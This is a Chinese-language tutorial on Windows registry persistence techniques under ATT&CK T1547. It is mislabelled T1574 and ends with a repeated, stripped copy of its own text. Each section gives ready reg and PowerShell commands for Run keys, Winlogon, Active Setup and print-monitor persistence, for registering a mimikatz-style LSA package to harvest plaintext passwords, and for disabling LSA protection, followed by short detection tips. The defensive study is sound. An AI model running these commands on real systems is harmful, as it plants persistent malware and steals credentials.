ATT&CK中的攻与防——T1574
字数 1143 2025-08-23 18:31:34

Windows注册表持久化技术详解(基于ATT&CK T1574)

1. 注册表Run键持久化(T1547.001)

攻击技术

常见Run键位置

HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run
HKEY_CURRENT_USER\software\microsoft\windows\currentversion\runonce
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
HKEY_CURRENT_USER\software\microsoft\windows\currentversion\runservicesonce
HKEY_CURRENT_USER\software\microsoft\windows\currentversion\runservices
HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\runservicesonce
HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\runservices
HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run
HKEY_LOCAL_MACHINE\software\wow6432node\microsoft\windows\currentversion\run
HKEY_LOCAL_MACHINE\software\wow6432node\microsoft\windows\currentversion\runOnce
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run

添加方法

  1. 使用reg命令:
reg add "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run" /v calc /t REG_SZ /d "C:\Users\axingg\desktop\evil.exe"
  1. 使用PowerShell:
New-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\run" -Name "evil" -PropertyType String -Value "C:\Users\axingg\desktop\evil.exe"
Set-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\run" -Name "test" -Value "C:\Users\axingg\desktop\evil.exe" -Force
  1. 导出-修改-导入技术:
reg export "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" c:\users\axingg\desktop\abc.reg
(修改abc.reg文件)
reg import c:\users\axingg\desktop\abc.reg

防御检测

  • 监控reg add、New-ItemProperty、Set-ItemProperty等命令
  • 检测上述注册表键值的修改
  • 特别关注CompatTelRunner.exe的行为

2. 认证包修改(T1547.002 & 005)

攻击技术

修改LSA认证包:

reg add "hklm\system\currentcontrolset\control\lsa\" /v "authentication packages" /d "C:\Users\congya\desktop\mimi.dll" /t REG_MULTI_SZ
reg add "hklm\system\currentcontrolset\control\lsa\" /v "Security Packages" /d "C:\Users\congya\desktop\mimi.dll" /t REG_MULTI_SZ

效果:重启后可获取明文密码(存储在C:\Windows\system32\kiwissp.log)

防御检测

  • 监控LSA相关注册表修改
  • 检测异常DLL加载

3. 时间提供程序修改(T1547.003)

攻击技术

修改时间提供程序DLL:

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\NtpClient" /v DllName /t REG_EXPAND_SZ /d "C:\Users\axingg\Downloads\w32time.dll"
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\NtpServer" /v DllName /t REG_EXPAND_SZ /d "C:\Users\axingg\Downloads\w32time.dll"

激活方法:

sc stop w32time

自定义时间提供程序:

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\gametime" /v DllName /t REG_SZ /d "C:\Users\axingg\Downloads\w32time.dll"
rundll32 gametime.dll,Register

防御检测

  • 监控W32Time服务相关注册表
  • 检测rundll32异常调用

4. Winlogon Helper DLL修改(T1547.004)

攻击技术

修改Userinit和Shell值:

reg add "HKCU\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "userinit" /t REG_SZ /d "C:\Users\axingg\desktop\evil.exe,"
reg add "HKCU\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "shell" /t REG_SZ /d "C:\Windows\system32\cmd.exe,"

添加Notify DLL:

reg add "HKCU\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify" /v "login" /t REG_SZ /d "C:\Users\axingg\desktop\evil.dll"

防御检测

  • 监控Winlogon相关注册表修改
  • 注意:修改HKLM的Userinit和Shell值可能导致系统异常

5. LSASS驱动相关(T1547.008)

攻击技术

修改SDProp频率:

reg add hklm\SYSTEM\CurrentControlSet\Services\NTDS\Parameters /v AdminSDProtectFrequency /t REG_DWORD /d 600

关闭LSA保护:

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa" /v "RunAsPPL" /t REG_DWORD /d 0

添加LSA扩展:

New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\NTDS -Name LsaDbExtPt -Value "C:\Users\axingg\Desktop\lsass_lib.dll"

防御检测

  • 监控LSA相关注册表修改
  • 检测LSASS异常行为

6. 快捷方式修改(T1547.009)

攻击技术

目标目录:

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\
C:\Users\[用户名]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\

获取桌面位置:

reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders"
reg query "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders"

防御检测

  • 监控启动目录的lnk文件修改
  • 检测异常快捷方式创建

7. 端口监视器(T1547.010)

攻击技术

添加恶意端口监视器:

reg add "hklm\system\currentcontrolset\control\print\monitors\T1547" /v "Driver" /d "C:\Users\axingg\Downloads\msfevil.dll" /t REG_SZ /f

防御检测

  • 监控打印监视器相关注册表
  • 检测异常DLL加载

8. 打印处理器(T1547.012)

攻击技术

修改打印处理器:

reg add "HKLM\SYSTEM\ControlSet001\Control\Print\Environments\Windows x64\Print Processors\winprint /v "Driver" /d "C:\Users\axingg\Downloads\DEment.dll" /t REG_SZ
reg add "HKLM\SYSTEM\ControlSet001\Control\Print\Environments\Windows x64\Print Processors\PrintFiiterPipelineSvc /v "Driver" /d "C:\Users\axingg\Downloads\DEment.dll" /t REG_SZ

防御检测

  • 监控打印处理器相关注册表
  • 检测打印服务异常行为

9. Active Setup(T1547.014)

攻击技术

添加Active Setup项:

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\evil"
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\evil" /v StubPath /t REG_SZ /d "C:\Users\axingg\desktop\evil.exe"
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\evil" /v "@" /t REG_SZ /d "test for congya"

激活方法:

RunOnce.exe /AlternateShellStartup

防御检测

  • 监控Active Setup注册表项
  • 检测RunOnce.exe异常调用

注册表键重命名技术

使用Python脚本重命名注册表键:

import ctypes
from ctypes import *
from ctypes.wintypes import *
import sys

def rename_key(reg_handle, key, key2):
    key_handle = HKEY()
    key_result = DWORD()
    a = ctypes.windll.Advapi32.RegCreateKeyExA(reg_handle, key, 0, None, 0x00000000, 0xF003F, 0, byref(key_handle), byref(key_result))
    c = ctypes.windll.Advapi32.RegRenameKey(key_handle, 0, LPCWSTR(key2))

使用方法:

python2 script.py rename_key "hklm\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit" "123123"

防御总结

  1. 监控所有注册表修改操作,特别是上述提到的关键路径
  2. 检测异常进程创建(如rundll32、RunOnce.exe等)
  3. 实施应用程序白名单
  4. 监控系统目录的DLL文件修改
  5. 定期审计启动项和计划任务
  6. 启用LSA保护等安全功能
  7. 监控打印相关服务的异常行为

通过全面监控这些注册表位置和相关系统行为,可以有效防御基于注册表修改的持久化攻击。

Windows注册表持久化技术详解(基于ATT&CK T1574) 1. 注册表Run键持久化(T1547.001) 攻击技术 常见Run键位置 : 添加方法 : 使用reg命令: 使用PowerShell: 导出-修改-导入技术: 防御检测 监控reg add、New-ItemProperty、Set-ItemProperty等命令 检测上述注册表键值的修改 特别关注CompatTelRunner.exe的行为 2. 认证包修改(T1547.002 & 005) 攻击技术 修改LSA认证包: 效果:重启后可获取明文密码(存储在C:\Windows\system32\kiwissp.log) 防御检测 监控LSA相关注册表修改 检测异常DLL加载 3. 时间提供程序修改(T1547.003) 攻击技术 修改时间提供程序DLL: 激活方法: 自定义时间提供程序: 防御检测 监控W32Time服务相关注册表 检测rundll32异常调用 4. Winlogon Helper DLL修改(T1547.004) 攻击技术 修改Userinit和Shell值: 添加Notify DLL: 防御检测 监控Winlogon相关注册表修改 注意:修改HKLM的Userinit和Shell值可能导致系统异常 5. LSASS驱动相关(T1547.008) 攻击技术 修改SDProp频率: 关闭LSA保护: 添加LSA扩展: 防御检测 监控LSA相关注册表修改 检测LSASS异常行为 6. 快捷方式修改(T1547.009) 攻击技术 目标目录: 获取桌面位置: 防御检测 监控启动目录的lnk文件修改 检测异常快捷方式创建 7. 端口监视器(T1547.010) 攻击技术 添加恶意端口监视器: 防御检测 监控打印监视器相关注册表 检测异常DLL加载 8. 打印处理器(T1547.012) 攻击技术 修改打印处理器: 防御检测 监控打印处理器相关注册表 检测打印服务异常行为 9. Active Setup(T1547.014) 攻击技术 添加Active Setup项: 激活方法: 防御检测 监控Active Setup注册表项 检测RunOnce.exe异常调用 注册表键重命名技术 使用Python脚本重命名注册表键: 使用方法: 防御总结 监控所有注册表修改操作,特别是上述提到的关键路径 检测异常进程创建(如rundll32、RunOnce.exe等) 实施应用程序白名单 监控系统目录的DLL文件修改 定期审计启动项和计划任务 启用LSA保护等安全功能 监控打印相关服务的异常行为 通过全面监控这些注册表位置和相关系统行为,可以有效防御基于注册表修改的持久化攻击。